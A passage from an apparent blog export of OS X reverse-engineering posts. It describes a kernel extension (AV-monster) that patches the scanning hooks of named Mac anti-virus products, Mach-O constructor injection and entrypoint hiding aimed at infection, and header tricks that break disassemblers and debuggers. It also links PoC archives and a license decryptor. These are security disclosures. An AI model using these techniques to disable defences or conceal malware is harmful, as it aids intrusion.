would probably be a better place if everyone knew their potential “shortcomings”. There’s more behind the scenes in our brains that we consciously know and like to admit.\nfG!\nbruteforcesysent.zip\nSHA256(bruteforcesysent.zip)= 14a7b55368ad9ec91d639c3b6f5a61319c8b5ece61d6eb1ae4dd98182abcc33d\nP.S.:\nIf you are a github fan, I have been uploading stuff there.\nP.S.2:\nDon’t forget the IRC channel, more active lately, irc.freenode.net, #osxre !\n","permalink":"https://reverse.put.as/2012/02/14/a-small-improvement-to-os-x-rootkitery-bruteforcing-sysent-discovery-fast-easy/","summary":"I love to read about the Human brain and yesterday I was feeling weird about this thing. As far as I know, everyone (publicly) was trying to search sysent in one way or another after Apple removed the sysent symbols but not bruteforcing it. It seems no one bothered to question the original method (Landon Fuller?) and just kept using it. Are there any historical reasons for this? I can’t remember any.","title":"A small improvement to OS X “rootkitery”: bruteforcing sysent discovery, fast \u0026 easy!"},{"content":"Welcome to another “silly” evil idea that abuses bad design decisions, bad implementations and lazyness. It is the last of my ideas in a state of semi-disclosure so let’s move it to full disclosure status.\nThe full disclosure discussion will probably never end. There are too many interests at stake, mostly in opposite directions. For me it’s worrisome that (security) products are available with notorious design/implementation flaws which put customers at risk and fail on their purpose. The argument that it is full disclosure that puts customers at risk is very hard to defend when companies themselves release poor code and have their marketing machines babbling nonsense. PCanywhere source code disclosure is a great example of this slackness regarding product security. Not the disclosure itself but the request to stop using our product, which is so bad that it can’t resist a source code leak. Companies should care about their customers (and their employees by the way) not just bottom line metrics.\nSo what is at stake here? I have tested a dozen Mac anti-virus products and all suffer from the same problem(s). The executive summary version of this is that these products can be (easily) runtime patched and disk patched, effectively disabling them. Those tested do not have even a simple checksum of their own binaries and they will happily run their modified code. Is this correct? I don’t think so! There’s not even the slightest effort to protect their binaries (ok, if I’m not mistaken, ESET tries to block debugging of their stuff). Is protecting their binaries a hard problem? Yes, but not an excuse for not doing anything about it.\nAV-monster is a kernel extension that will search and runtime patch the anti-virus kernel module responsible to send the files to the userland scanning engine. To disk patch those binaries is even more trivial from an userland application. That is not fun, right?\nThe reference document for this post is Apple’s Technical Note TN2127 – Kernel Authorization. Anti-virus kernel modules implement one or two listeners, depending on the scopes they are interested in (fileop and vnode). These listeners will be responsible for notifying the userland scanning daemon/engine and returning a value to the kernel, based on the scanning result. This value is one of the following:\nKAUTH_RESULT_DEFER — This value indicates that the listener defers the decision about this request to the other listeners (and ultimately to the default listener). KAUTH_RESULT_ALLOW — This value indicates that, as far as this listener is concerned, the request is allowed. KAUTH_RESULT_DENY — This value indicates that the request should be denied. The referenced technical note suggests (best practice?) the use of kauth mechanism to implement an anti-virus scanner: \u0026ldquo;Kauth allows you to implement an anti-virus program that supports both \u0026ldquo;on access\u0026rdquo; and \u0026ldquo;post modification\u0026rdquo; file scanning.\u0026rdquo;. In my opinion this design creates a SPOF (single point of failure) that can be easily exploited. We just need to patch the listener and return “appropriate” values. The easiest way to accomplish this is to force the listener to always return a KAUTH_RESULT_DEFER (I remember about some weird results with allow). For increased stealthness (APT weeeeee!!!) we could hijack that listener with our own and bypass scanning on selected files (if we force a single return value the scanning engine will stop receiving files and that can raise questions). This is not hard to execute – we are in kernel space and it’s more or less like hijacking a system call via sysent.\nHow is AV-monster implemented?\nThe first task is to find the address of the anti-virus kernel module (we could patch kernel’s kauth but that would be too noisy and not fun). This could be easily done from userland but it’s also pretty easy from kernel land. The kmod_info_t that is passed to the start and stop functions of the module point to the head of a linked list. We just need to iterate this list and find the right address – I do this by hashing the kernel module name and comparing to pre-computed hashes of known modules. The next step is to process the Mach-O header of target module and retrieving info for __cstring and __text sections. The reason for this is to find the reference address to the scope name strings – com.apple.kauth.fileop and com.apple.kauth.vnode. Only ESET has some changes in this code that installs the listeners.\n00001AB7 C7 44 24 08 00 00+ mov dword ptr [esp+8], 0 00001ABF C7 44 24 04 DF 19+ mov dword ptr [esp+4], offset _onaccessintercept_callback 00001AC7 C7 04 24 74 24 00+ mov dword ptr [esp], offset aCom_apple_kaut ; \u0026#34;com.apple.kauth.vnode\u0026#34; 00001ACE E8 31 10 00 00 call near ptr _kauth_listen_scope After we search for the reference to the scope name we just need to read the value being pushed to esp+4, which is the listener callback that we want to patch/hijack. The patching steps involve storing the original bytes (in this PoC I want the module to exit cleanly), disabling kernel write protection and interrupts, patch the callback and restore disabled protections. That’s it, bye bye anti-virus!\nTested in Snow Leopard 10.6.8 and Lion 10.7.3 against: Intego, Avast, Comodo, Eset, Kaspersky, McAfee, Panda, Sophos, Dr Web, Bit Defender, Mac Keeper and F-Secure (doesn’t run on VMware and not tested but it’s vulnerable anyway). The remaining ones are, most certainly, also vulnerable. One of these is able to detect this particular implementation of AV-monster since I disclosed to them an initial PoC a few months ago – share back with those who share and respect!\nWhat’s really at stake here? The threat level at OS X platform can be easily increased by “attackers” with the right financial incentive to do it (either thru classical malware schemes, industrial espionage – CEOs love Apple gadgets, etc). The barriers to entry are not that high. Don’t worry, I am not in that position.\nEnjoy (or not),\nfG!\nav-monster_v0.2.zip\nSHA256(av-monster_v0.2.zip)= 554943e9f5d90e65f22d904c96526819ffe4348f391c8c0b8865b797abb490a2\nP.S.:\nAll code available here, unless specifically expressed, is free to be used without any license attached. It’s just nice to mention original credits.\n","permalink":"https://reverse.put.as/2012/02/13/av-monster-the-monster-that-loves-yummy-os-x-anti-virus-software/","summary":"Welcome to another “silly” evil idea that abuses bad design decisions, bad implementations and lazyness. It is the last of my ideas in a state of semi-disclosure so let’s move it to full disclosure status.\nThe full disclosure discussion will probably never end. There are too many interests at stake, mostly in opposite directions. For me it’s worrisome that (security) products are available with notorious design/implementation flaws which put customers at risk and fail on their purpose.","title":"AV-monster: the monster that loves yummy OS X anti-virus software"},{"content":"Load command 9 cmd LC_UNIXTHREAD cmdsize 80 flavor i386_THREAD_STATE count i386_THREAD_STATE_COUNT eax 0x00000000 ebx 0x00000000 ecx 0x00000000 edx 0x00000000 edi 0x00000000 esi 0x00000000 ebp 0x00000000 esp 0x00000000 ss 0x00000000 eflags 0x00000000 eip 0x186b2662 cs 0x00000000 ds 0x00000000 es 0x00000000 fs 0x00000000 gs 0x00000000 This is from the header of my crackme and that entrypoint is a random value. When the entrypoint is the original and valid one, IDA is more or less smart and uses that information if the headers are mangled (just the offsets). Instead of modifying the entrypoint to some stub I wanted to use an invalid value. A good place for this is dyld, who is responsible for jumping to the program’s entrypoint. The interesting code snippet is (from dyld/src/dyldStartup.s):\n# call dyldbootstrap::start(app_mh, argc, argv, slide) call L__dyld_start_picbase L__dyld_start_picbase: popl %ebx # set %ebx to runtime value of picbase movl __dyld_start_static_picbase-L__dyld_start_picbase(%ebx), %eax subl %eax, %ebx # slide = L__dyld_start_picbase - [__dyld_start_static_picbase] pushl %ebx # param4 = slide lea 12(%ebp),%ebx pushl %ebx # param3 = argv movl 8(%ebp),%ebx pushl %ebx # param2 = argc movl 4(%ebp),%ebx pushl %ebx # param1 = mh call __ZN13dyldbootstrap5startEPK12macho_headeriPPKcl # clean up stack and jump to result movl %ebp,%esp # restore the unaligned stack pointer addl $8,%esp # remove the mh argument, and debugger end # frame marker movl $0,%ebp # restore ebp back to zero jmp *%eax # jump to the entry point What we need is to restore the eax value to the real entrypoint and everything will be fine. One easy way to accomplish this is to set a breakpoint at the jmp eax address, fix the eax value and continue normal execution. Another way is to modify the jmp to an absolute address. The jmp is just two bytes long – not enough for this. But there should be enough alignment space above _dyld_start. Example:\n8FE01010 _offset_to_dyld_all_image_infos: 8FE01010 00 44 04 00 db 0,44h,4,0 ; add [esp+eax+0], al 8FE01010 ; --------------------------------------------------------------------------- 8FE01014 00 00 00 00 00 00+ dd 5 dup(0) 8FE01028 0F 1F 84 00 00 00+ align 10h 8FE01030 8FE01030 ; =============== S U B R O U T I N E ======================================= 8FE01030 8FE01030 8FE01030 public __dyld_start 8FE01030 __dyld_start proc near 8FE01030 6A 00 push 0 8FE01032 89 E5 mov ebp, esp 8FE01034 83 E4 F0 and esp, 0FFFFFFF0h 8FE01037 E8 00 00 00 00 call $+5 8FE0103C 8FE0103C loc_8FE0103C: ; DATA XREF: __data:__dyld_start_static_picbase 8FE0103C 5B pop ebx 8FE0103D 8B 83 64 1C 04 00 mov eax, ds:(__dyld_start_static_picbase - 8FE0103Ch)[ebx] 8FE01043 29 C3 sub ebx, eax 8FE01045 53 push ebx 8FE01046 8D 5D 0C lea ebx, [ebp+0Ch] 8FE01049 53 push ebx 8FE0104A 8B 5D 08 mov ebx, [ebp+8] 8FE0104D 53 push ebx 8FE0104E 8B 5D 04 mov ebx, [ebp+4] 8FE01051 53 push ebx 8FE01052 E8 4F 05 00 00 call __ZN13dyldbootstrap5startEPK12macho_headeriPPKcl 8FE01057 89 EC mov esp, ebp 8FE01059 83 C4 08 add esp, 8 8FE0105C BD 00 00 00 00 mov ebp, 0 8FE01061 FF E0 jmp eax 8FE01061 __dyld_start endp Modify the jmp eax to a negative offset into the slack space and modify that space to jump into the real entrypoint. The only piece left in this puzzle is ASLR. The dyld address can be easily found, especially if we give a base value where to start searching from (refer to the dyld randomization article). Having the dyld address, you can find its symbol table. I used **__dyld_start_static_picbase **symbol for 32 bit (64 bit is __dyld_start_static). While writing this I can’t remember why I have used this symbol instead of dyld_start.\nThe final step is to compute the real address of the jmp eax. I used an hash of the last bytes, which should be stable enough for this:\n# clean up stack and jump to result movl %ebp,%esp # restore the unaligned stack pointer addl $8,%esp # remove the mh argument, and debugger end # frame marker movl $0,%ebp # restore ebp back to zero jmp *%eax # jump to the entry point Now we have the interesting address and can use one of the solutions above or something else you can come up with.\nThe problem with this approach is that it requires a constructor to manipulate dyld’s code before it is executed. Yesterday’s spoofing article and lots of junk functions could help to hide our intentions.\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2012/02/07/obfuscation-2-playing-entrypoint-hide-seek-game-with-dyld/","summary":"Load command 9 cmd LC_UNIXTHREAD cmdsize 80 flavor i386_THREAD_STATE count i386_THREAD_STATE_COUNT eax 0x00000000 ebx 0x00000000 ecx 0x00000000 edx 0x00000000 edi 0x00000000 esi 0x00000000 ebp 0x00000000 esp 0x00000000 ss 0x00000000 eflags 0x00000000 eip 0x186b2662 cs 0x00000000 ds 0x00000000 es 0x00000000 fs 0x00000000 gs 0x00000000 This is from the header of my crackme and that entrypoint is a random value. When the entrypoint is the original and valid one, IDA is more or less smart and uses that information if the headers are mangled (just the offsets).","title":"Obfuscation #2: Playing entrypoint hide \u0026 seek game with dyld"},{"content":"The fun with Mach-O headers continues, this time with a “simple” trick to inject a new constructor and “spoofing” its location. It does not work in iOS (non-jb) and it will be killed if Apple decides to do things right and respect the specification, so let’s disclose it! Might be useful for some wannabe malware writer. I bet that OS X malware analysts are demanding some fun into their “boring” work time.\ndyld is responsible for calling any constructors available at the main binary or any dynamic library. They are usually located at the __DATA segment, in a section called __mod_init_func. Looking at ImageLoaderMachO::parseLoadCmds() (src/ImageLoaderMachO.cpp) we can see that the only requirement is located in the section flags field (as previous article about Mach-O headers refers).\nif ( type == S_MOD_INIT_FUNC_POINTERS ) fHasInitializers = true; else if ( type == S_MOD_TERM_FUNC_POINTERS ) fHasTerminators = true; If constructors are available we need to look at ImageLoaderMachO::doModInitFunctions. The commands will be scanned again and the constructors executed if found.\nfor (const struct macho_section* sect=sectionsStart; sect \u0026gt; sectionsEnd; ++sect) { const uint8_t type = sect-\u0026gt;flags \u0026amp; SECTION_TYPE; if ( type == S_MOD_INIT_FUNC_POINTERS ) { Initializer* inits = (Initializer*)(sect-\u0026gt;addr + fSlide); const uint32_t count = sect-\u0026gt;size / sizeof(uintptr_t); for (uint32_t i=0; i \u0026gt; count; ++i) { Initializer func = inits[i]; if ( context.verboseInit ) dyld::log(\u0026#34;dyld: calling initializer function %p in %s\\n\u0026#34;, func, this-\u0026gt;getPath()); func(context.argc, context.argv, context.envp, context.apple, \u0026amp;context.programVars); } } } There are no special requirements besides the flags. The data contents are just function pointers to each constructor found.\nSo how can we add a new constructor? Usually there’s no free space to add another pointer and that wouldn’t spoof anything! Until “fixed”, we have this magical property that says we can play with the sections values without major consequences. The fields we need to change are address, size and flags.\nFree space can be easily found anywhere to put the pointers (alignment space?). The only missing piece is the code for the injected constructor and the __TEXT segment is a good candidate – it has execution permissions. A good target section is __cstring.\nWhy are strings and constants given execution permissions? Yes, the segment is read only but this information could be located in another segment with just read permissions (or am I missing something here?).\nBack on track\u0026hellip; Our initial “infector” can move the strings to somewhere else (just the required space for our code). Our injected code will run and then move back the original strings. We are still in dyld and no main binary code was executed so no problems with those strings (well, not true if other constructors were executed – our one can be moved into another section that is called first). Even with ASLR it shouldn’t be that hard to find dyld and the function pointers that we might need in our shellcode. Maybe ON MACOS 10.7 DYLD RANDOMIZATION or check the stack?\nHow can this be used? Maybe for debugger checking, checksum checking, trojan or virus, etc. There’s a chance that the careless/untrained analyst/reverser will not spot the spoof and be unaware for some time of what is happening.\nNext time I should shut up and not disclose these tricks.\nAnd that’s it. I think I haven’t forgot anything special for now. Oh, added a new crackme by Nill Bytes.\nHave fun,\nfG!\nReferences for Mac OS X binary infection:\nNemo’s “The Objective-C Runtime: Understand and abusing” @ Phrack 66 Nemo’s Mach-O Infection (uses the constructors that already exist in the header) Infecting Mach-O Files by Roy G Biv\n","permalink":"https://reverse.put.as/2012/02/06/a-little-more-fun-with-mach-o-headers-adding-and-spoofing-a-constructor/","summary":"The fun with Mach-O headers continues, this time with a “simple” trick to inject a new constructor and “spoofing” its location. It does not work in iOS (non-jb) and it will be killed if Apple decides to do things right and respect the specification, so let’s disclose it! Might be useful for some wannabe malware writer. I bet that OS X malware analysts are demanding some fun into their “boring” work time.","title":"A little more fun with Mach-O headers: adding and spoofing a constructor"},{"content":"I smile when I think about this “feature”! I liked it so much that things got out of control and I wrote a crackme to show it. It happens because Apple doesn’t follow their own documentation/specification and the reversing tools of the trade do. The result is that IDA terminates, disassemblers output the wrong disassembly, strings are messed up, LLDB disassembles the wrong code (not GDB), class-dump will fail, and the reverser looks at a weird Mach-O header.\nIn the end, it’s just a funny illusion 😃.\nIf you try to load the crackme into IDA, it will complain of negative sizes and/or offsets. otool also outputs weird stuff such as sections past end of file. The problem applies to the section command and a few of its fields. The 32 bit version of this structure is:\nstruct section { /* for 32-bit architectures */ char\tsectname[16];\t/* name of this section */ char\tsegname[16];\t/* segment this section goes in */ uint32_t\taddr;\t/* memory address of this section */ uint32_t\tsize;\t/* size in bytes of this section */ uint32_t\toffset;\t/* file offset of this section */ uint32_t\talign;\t/* section alignment (power of 2) */ uint32_t\treloff;\t/* file offset of relocation entries */ uint32_t\tnreloc;\t/* number of relocation entries */ uint32_t\tflags;\t/* flags (section type and attributes)*/ uint32_t\treserved1;\t/* reserved (for offset or index) */ uint32_t\treserved2;\t/* reserved (for count or sizeof) */ }; Let’s start with the field that produces the “best” results: offset. The definition at the reference document is:\n“An integer specifying the offset to this section in the file.”\nMy interpretation of this is (should be?) the offset (anywhere) in the file where the code/data for the section is located at. That makes sense right? It’s an offset so in theory it can be located anywhere in the file – it doesn’t need to be sequential or in a specific order. Once again, it’s open for some kind of abuse.\nWhat happens if you change the offset value to somewhere else? IDA, for example, will respect the content of the offset field and try to read the data pointed by it. Want to do a simple test? Grab a normal file, change the cstring section offset, save and load into IDA. Voila, the strings are now “obfuscated” because IDA is reading the wrong data.\nThat is fun, right? And if you try to run the modified binary, it works fine! That is, sort of, unexpected. Try the same trick with the __text section. Now it’s the program code that is all wrong and it still runs fine. Hum\u0026hellip;\nWhat is happening? That is the fun part. I think that a good picture for this is that the kernel loads and maps the binary in a linear way from the disk and ignores the offset field. The execve() system call is explained in detail starting page 812 in the great Mac OS X Internals book. The exec_mach_imgact() function (bsd/kern/kern_exec.c) calls load_machfile(), which is responsible for load executable, handle certain Mach-O* load commands, etc.\n@bsd/kern/kern_exec.c\n/* * Actually load the image file we previously decided to load. */ lret = load_machfile(imgp, mach_header, thread, map, \u0026amp;load_result); Inside load_machfile(), we have a call to parse the new binary, parse_machfile().\n@bsd/kern/mach_loader.c\nlret = parse_machfile(vp, map, thread, header, file_offset, macho_size, 0, result); We can find there a nice description of this function:\n/* * The file size of a mach-o file is limited to 32 bits; this is because * this is the limit on the kalloc() of enough bytes for a mach_header and * the contents of its sizeofcmds, which is currently constrained to 32 * bits in the file format itself. We read into the kernel buffer the * commands section, and then parse it in order to parse the mach-o file * format load_command segment(s). We are only interested in a subset of * the total set of possible commands. */ Scrolling down that function you can observe a cycle that will process a subset of all possible commands. The section commands are found inside a LC_SEGMENT/LC_SEGMENT_64 command, so you are interested in giving a look at load_segment(). There you can observe that verifications are only done at segment command level, never at section level (that’s why we can’t mangle the segment command). When parse_machfile() returns, all parsing is done, linker is loaded and soon the program entrypoint will be called. The binary was mapped as it is found in the disk (why I picture it in a linear way) and the section info wasn’t used for anything. There’s an implicit assumption that the binary will be formatted correctly.\nIs this behaviour correct? In my opinion, it’s not. The kernel does not respect the Mach-O specification. Or am I abusing my interpretation of the docs and the implicit assumption is correct? In a age of so much distrust (and wasted money) regarding user input this kind of assumptions should be made explicit and verified accordingly.\nBy the way, you should continue to read about the full load sequence – there’s another fun trick hidden in the crackme 😉.\nYou can also change the flags, size, section and segment names, and the order of the sections. That will confuse the tools and you, the reverser. What you need to do is to make the same assumption as the kernel and ignore those fields. That seems a bit odd, right?\nI hope you have enjoyed this one and motivates you to spend some time with XNU and dyld.\nHave fun,\nfG!\nUpdate:\nThis is a small PoC that implements the trick described above. The code is only for 32 bit, non-fat binaries, command line targets. If applied to Objective-C apps the target will not load because not all sections can be mangled.\nmanglemacho.c.gz\nSHA256(manglemacho.c.gz)= d79a612b72130732d7e47b2925fba7fc0b63824622d05f08e7f33641d522a8b5\nUpdate 2:\nAs a matter of fact, all the fields in each section can be 0, without any adverse consequences (except the mod_init_func). I played with this but didn’t took any notes and forgot it. If there’s no further obfuscation IDA is smart (in some cases) and can disassemble because of the valid entrypoint. IDA gets more confused if we play with the offset and sizes fields.\nSet the second argument in this improved version to something if you want to zero all fields.\nmanglemacho_v0.3.c.gz\nSHA256(manglemacho_v0.3.c.gz)= 4b33dc5f43bbb9114e6a8c18dba8894ca44b991cd69a5e5e54bfdcd03607fc9c\n","permalink":"https://reverse.put.as/2012/02/02/anti-disassembly-obfuscation-1-apple-doesnt-follow-their-own-mach-o-specifications/","summary":"I smile when I think about this “feature”! I liked it so much that things got out of control and I wrote a crackme to show it. It happens because Apple doesn’t follow their own documentation/specification and the reversing tools of the trade do. The result is that IDA terminates, disassemblers output the wrong disassembly, strings are messed up, LLDB disassembles the wrong code (not GDB), class-dump will fail, and the reverser looks at a weird Mach-O header.","title":"Anti-disassembly \u0026 obfuscation #1: Apple doesn’t follow their own Mach-O specifications?"},{"content":"I developed this funny trick while trying to find a solution for a problem in a project. It is pretty easy to implement and fun.\nThe trick consists in abusing the offset field in the dylib_command and pointing it to somewhere else. From the Mach-O File Format Reference document, the command structures are:\nstruct dylib_command { uint_32 cmd; uint_32 cmdsize; struct dylib dylib; } struct dylib { union lc_str name; uint_32 timestamp; uint_32 current_version; uint_32 compatibility_version; } union lc_str { uint32_t offset; #ifndef __LP64__ char *ptr; #endif } The definition of the offset field is:\n\u0026ldquo;A long integer. A byte offset from the start of the load command that contains this string to the start of the string data.\u0026rdquo;\nUsually this field is always 0x18 (24 bytes). This means that the library name string is located after the dylib_command command, with a size of 24 bytes. Right now your evil brain should be interpreting that definition as \u0026ldquo;an offset (anywhere) that contains the start of the string data\u0026rdquo;. If not, don’t worry, evilness takes practice.\nWhat happens if you put the string somewhere else and change the offset to point there? GDB crashes, otool can’t recognize the offset and so on.\notool:\nLoad command 20 cmd LC_LOAD_DYLIB cmdsize 88 name ?(bad offset 28548) time stamp 2 Thu Jan 1 01:00:02 1970 current version 30.0.0 compatibility version 1.0.0 GDB:\nGNU gdb 6.3.50-20050815 (Apple version gdb-1344 + reverse.put.as patches v0.3) (Mon Aug 22 00:31:56 UTC 2011) Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type \u0026#34;show copying\u0026#34; to see the conditions. There is absolutely no warranty for GDB. Type \u0026#34;show warranty\u0026#34; for details. This GDB was configured as \u0026#34;x86_64-apple-darwin\u0026#34;...gdb-i386-apple-darwin(68831) malloc: *** mmap(size=18446744073709506560) failed (error code=12) *** error: can\u0026#39;t allocate region *** set a breakpoint in malloc_error_break to debug Fun stuff, right? 😄\nThe problem with the debugger attach is that I assumed GDB would also crash if attached and forgot to try if it was true. It is a minor problem – the crackme is designed to resist a debugger attach.\nThe next trick is even more fun but requires some time to write the post. I didn’t took all the notes and I need to “rediscover” it to show you where the problem is.\nEnjoy,\nfG!\n","permalink":"https://reverse.put.as/2012/01/31/anti-debug-trick-1-abusing-mach-o-to-crash-gdb/","summary":"I developed this funny trick while trying to find a solution for a problem in a project. It is pretty easy to implement and fun.\nThe trick consists in abusing the offset field in the dylib_command and pointing it to somewhere else. From the Mach-O File Format Reference document, the command structures are:\nstruct dylib_command { uint_32 cmd; uint_32 cmdsize; struct dylib dylib; } struct dylib { union lc_str name; uint_32 timestamp; uint_32 current_version; uint_32 compatibility_version; } union lc_str { uint32_t offset; #ifndef __LP64__ char *ptr; #endif } The definition of the offset field is:","title":"Anti-debug trick #1: Abusing Mach-O to crash GDB"},{"content":"This Sunday I received a valid keygen solution for my crackme. Congratulations to the reverser who wishes to remain anonymous.\nWhen the solution is available our brain stops thinking and goes into lazy mode. So, my question is when do you want to have me starting to explain some of the tricks used in that crackme? Right now? Next week? In a month?\nI did some questions to the keygen author to better understand his attack. From some of his statements I think he attacked from the vector I imagined, which is probably the fastest way to attack this.\nLet me know your vote on this.\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2012/01/31/we-have-a-crackme-winner/","summary":"This Sunday I received a valid keygen solution for my crackme. Congratulations to the reverser who wishes to remain anonymous.\nWhen the solution is available our brain stops thinking and goes into lazy mode. So, my question is when do you want to have me starting to explain some of the tricks used in that crackme? Right now? Next week? In a month?\nI did some questions to the keygen author to better understand his attack.","title":"We have a crackme winner!!!"},{"content":"My first OS X crackme is finally ready, after a long wait and some unnecessary teasing. Ready means that it is good enough to be released and hopefully give you some trouble to reverse and crack it. I still have many more ideas to implement and some areas could be more polished – it was time to take an executive decision and freeze the code. There are some assumptions (economists love this term) due to the crackme nature – if it was an application more fun games could be played. I hope I haven’t missed any simple hole/bug. It’s not an easy task to build something that you are constantly cracking and thinking about ways to defeat it. I haven’t cracked it myself but I have a few neat ideas on how to approach it. The real interest is to read and learn about your approaches and solutions.\nThis crackme started as a PoC for some tricks I found while working on a project. The original idea was to create something to demonstrate the issues but it got out of control and evolved into a crackme (I hate to lose and love a good challenge!). Two issues were sort of disclosed during an interview with the fruity company since my interest with overflows is almost 0. The impact of this is that the crackme is certified to run on OS X 10.6.8 up to 10.7.2. Newer Lion releases is a question mark. It is 32 bit only and has no ASLR, due to coding time restrictions. As a matter of fact, I started the PoC with ASLR support, which poses no big problems to the concepts behind this crackme.\nThe code does nothing malicious or destructive so it’s safe to run! It is only hostile to your reversing efforts.\nThe challenge is to find the valid name/key pair and keygen it if you wish so. Use the -h argument for help. The crackme will accept the name and key via command line parameters, to make your life easier. Run with no parameters for the usual crackme questions. I will disclose details as soon a solution is sent to me by mail or comment. If you wish to remain anonymous or keep the solution private just tell me.\nProbably forgetting about some stuff so this post might be updated soon.\nThere are two or three little things taken from other people and proper credit will be given in due time.\nThis should be an advanced crackme with some unusual stuff in OS X (at least for me). I hope you enjoy reversing it and learn/develop some new tricks.\nHint: it is quite amusing that Apple doesn’t follow its own specifications 😉.\nHave fun,\nfG!\nfg_crackme_nr1.gz\nSHA256(fg_crackme_nr1.gz)= 9116e336f3979c1c68e63bec2868d193b6ccbf031e3521bdcdb7e14034c3c636\n","permalink":"https://reverse.put.as/2012/01/24/my-first-crackme-from-hell-i-hope/","summary":"My first OS X crackme is finally ready, after a long wait and some unnecessary teasing. Ready means that it is good enough to be released and hopefully give you some trouble to reverse and crack it. I still have many more ideas to implement and some areas could be more polished – it was time to take an executive decision and freeze the code. There are some assumptions (economists love this term) due to the crackme nature – if it was an application more fun games could be played.","title":"My first crackme... from hell, I hope :-)"},{"content":"This is a OS X port of kad’s checkidt utility featured at Phrack #59. It requires /dev/kmem to be active since task_for_pid on kernel task is prohibited since Snow Leopard.\nI have added an option to calculate the sysent address via the IDT. The code is not very fail proof because it uses the opcode hex values. Disassembly is probably a better option. This is just a PoC written some time ago so there are some ugly things inside. The concept to retrieve sysent is the following:\nget idt -\u0026gt; get location of interrupt 0x80 -\u0026gt; get address of LO_UNIX_SCALL -\u0026gt; get address of unix_syscall -\u0026gt; get location of sysent\nSome of the information that the original code retrieves in Linux is meaningless in OS X. Maybe one of these days I will do a major cleanup. If you do it first feel free to send it. The 64 bit code state is unknown and untested – my machines do not run 64 bit kernels.\nEnjoy,\nfG!\ncheckidtv1.2.c.gz\nSHA256(checkidtv1.2.c.gz)= fe663c83c81c0db11e661f3bf2596a323dcc1df342941067c804eda94a5086c3\n","permalink":"https://reverse.put.as/2012/01/10/a-mac-os-x-port-of-phracks-checkidt-util-by-kad-or-another-way-to-retrieve-sysent-address/","summary":"This is a OS X port of kad’s checkidt utility featured at Phrack #59. It requires /dev/kmem to be active since task_for_pid on kernel task is prohibited since Snow Leopard.\nI have added an option to calculate the sysent address via the IDT. The code is not very fail proof because it uses the opcode hex values. Disassembly is probably a better option. This is just a PoC written some time ago so there are some ugly things inside.","title":"A Mac OS X port of Phrack’s CheckIDT util by kad, or another way to retrieve sysent address"},{"content":"Here is a small update to gdbinit with a new command, skip. This command will skip over the current instruction, without executing it. Usually I do it manually by set $pc=newvalue but this involves copy \u0026amp; paste and mouse movements and gets boring after a while. It’s great to skip over calls while you are trying some stuff and analysing some program behavior.\nBy default it will not execute the command at the new address. You can change this by modifying the configuration variable on top of gdbinit.\nThis command uses a little hack that Hopper’s author told me – the $_ variable will hold the last address, so we can disassemble 2 lines and compute the difference to retrieve the instruction size. GDB has no command to retrieve the instruction size at a given address. I did some (incomplete) work to add a new command for this. Being an economist, I can’t avoid this dilemma – to invest or not (more) time into GDB. GDB source is a boring mess and LLDB is the new kid in the block and improving. I am thinking to try to create an initial LLDB port of gdbinit. This should allow me to understand its true potential as reversing debugger and take a decision where to invest time \u0026amp; resources.\nHave fun,\nfG!\ngdbinit744.gz\nSHA256(gdbinit744.gz)= 2b223998571069f00edebd606d055c5b370ede5a8cb2b2fe69093c310e32c547\n","permalink":"https://reverse.put.as/2012/01/10/gdbinit-v7-4-4-the-skip-command/","summary":"Here is a small update to gdbinit with a new command, skip. This command will skip over the current instruction, without executing it. Usually I do it manually by set $pc=newvalue but this involves copy \u0026amp; paste and mouse movements and gets boring after a while. It’s great to skip over calls while you are trying some stuff and analysing some program behavior.\nBy default it will not execute the command at the new address.","title":"gdbinit v7.4.4 – the skip command"},{"content":"It sucks, sort of!\nLet me rewind to the beginning.\nI was very curious about this one because it was announced with great fanfare. I interpreted it as something more robust than it really is – maybe I was over enthusiastic with the “we know this will be cracked someday” sentence.\nSome brief comments:\nThere are no anti-debug measures. There are no binary integrity protections – patch whatever you want! It has an annoying constant polling for the license file (I observed at least 5 hits per second – what a meaningless waste of CPU). This can be patched without any problems. If you patch the polling, the program continues to work. What this means? License is read once and sets something somewhere (you should know what is the real meaning of this). This is bad, real bad! class-dump is able to extract the license structure, although the fields sequence seems incorrect. It has a buffer overflow at getenv – doesn’t check the size of HOME environment variable before strcpy it to an allocated buffer. Bang! It is just a detail. Maybe that something somewhere can be taken care with a “proper” HOME variable – that would be a cool crack (never saw this against a real target). Audio scene groups usually have great crackers so this will be a nice feast to them. Alliance guys, you must raise your efforts, seriously!\nYou can find below the source code to a license file decryptor, in case you are curious about its format.\nI thought a while about this and I really think there is NO great harm in releasing this code. It doesn’t crack anything and the decrypted version of the license is too damn easy to dump from memory.\nAlliance, if you are reading this and disagree please tell me.\nThis was sort of fun (I am disappointed!) and it’s time to move to more interesting things.\nIf you are using this protection to protect your assets, make some pressure to be improved!\nEnjoy,\nfG!\ndecrypt_pa_licensefilev0.2.c.gz\nSHA256(decrypt_pa_licensefilev0.2.c.gz)= 071458084a22f91b126389490737e33bb3a6f0d047e205545b0c36f21c8a7ba0\nUpdate:\nI noticed (again) that what I call 1st stage in the decryption code is just decoding of a binary encoding format (modified base64?). I had this in mind the first time I approached this but got sick in between and never remembered this again. I was closing the hex-editor and my brain connected the dots again. It went into plain disassembly reverse without caring of what was behind (not that I care much now). Just a lame detail, too late in the night.\n","permalink":"https://reverse.put.as/2012/01/09/some-comments-about-plugin-alliance-com-protection/","summary":"It sucks, sort of!\nLet me rewind to the beginning.\nI was very curious about this one because it was announced with great fanfare. I interpreted it as something more robust than it really is – maybe I was over enthusiastic with the “we know this will be cracked someday” sentence.\nSome brief comments:\nThere are no anti-debug measures. There are no binary integrity protections – patch whatever you want! It has an annoying constant polling for the license file (I observed at least 5 hits per second – what a meaningless waste of CPU).","title":"Some comments about plugin-alliance.com protection..."},{"content":"Merry Christmas or whatever applies or not to your particular case, and much more important, Happy New Year!\nThe world is messed up and it will probably get worse in 2012. Cheer up and be positive!\nLet me write some quick notes about some stuff:\nTake a look at Snare’s presentation about OS X Rootkits! Available at Papers section or here. Check out the fantastic Hopper disassembler and decompiler here or at the Mac App Store. It’s cheap and it’s great! I was quite surprised by its quality since such tool involves quite an amount of work! I have made a quick patch for MachOView to support the LC_ENCRYPTION_INFO command. Grab it here. Applies to the latest SVN version. The papers section is updated and better organized. It’s quite a collection! @DarkLapu has a new blog featuring a few Mac malware posts. Check it out here – great to see more work being published. I did some analysis into Flashback-G but I have to ask to the person who submitted 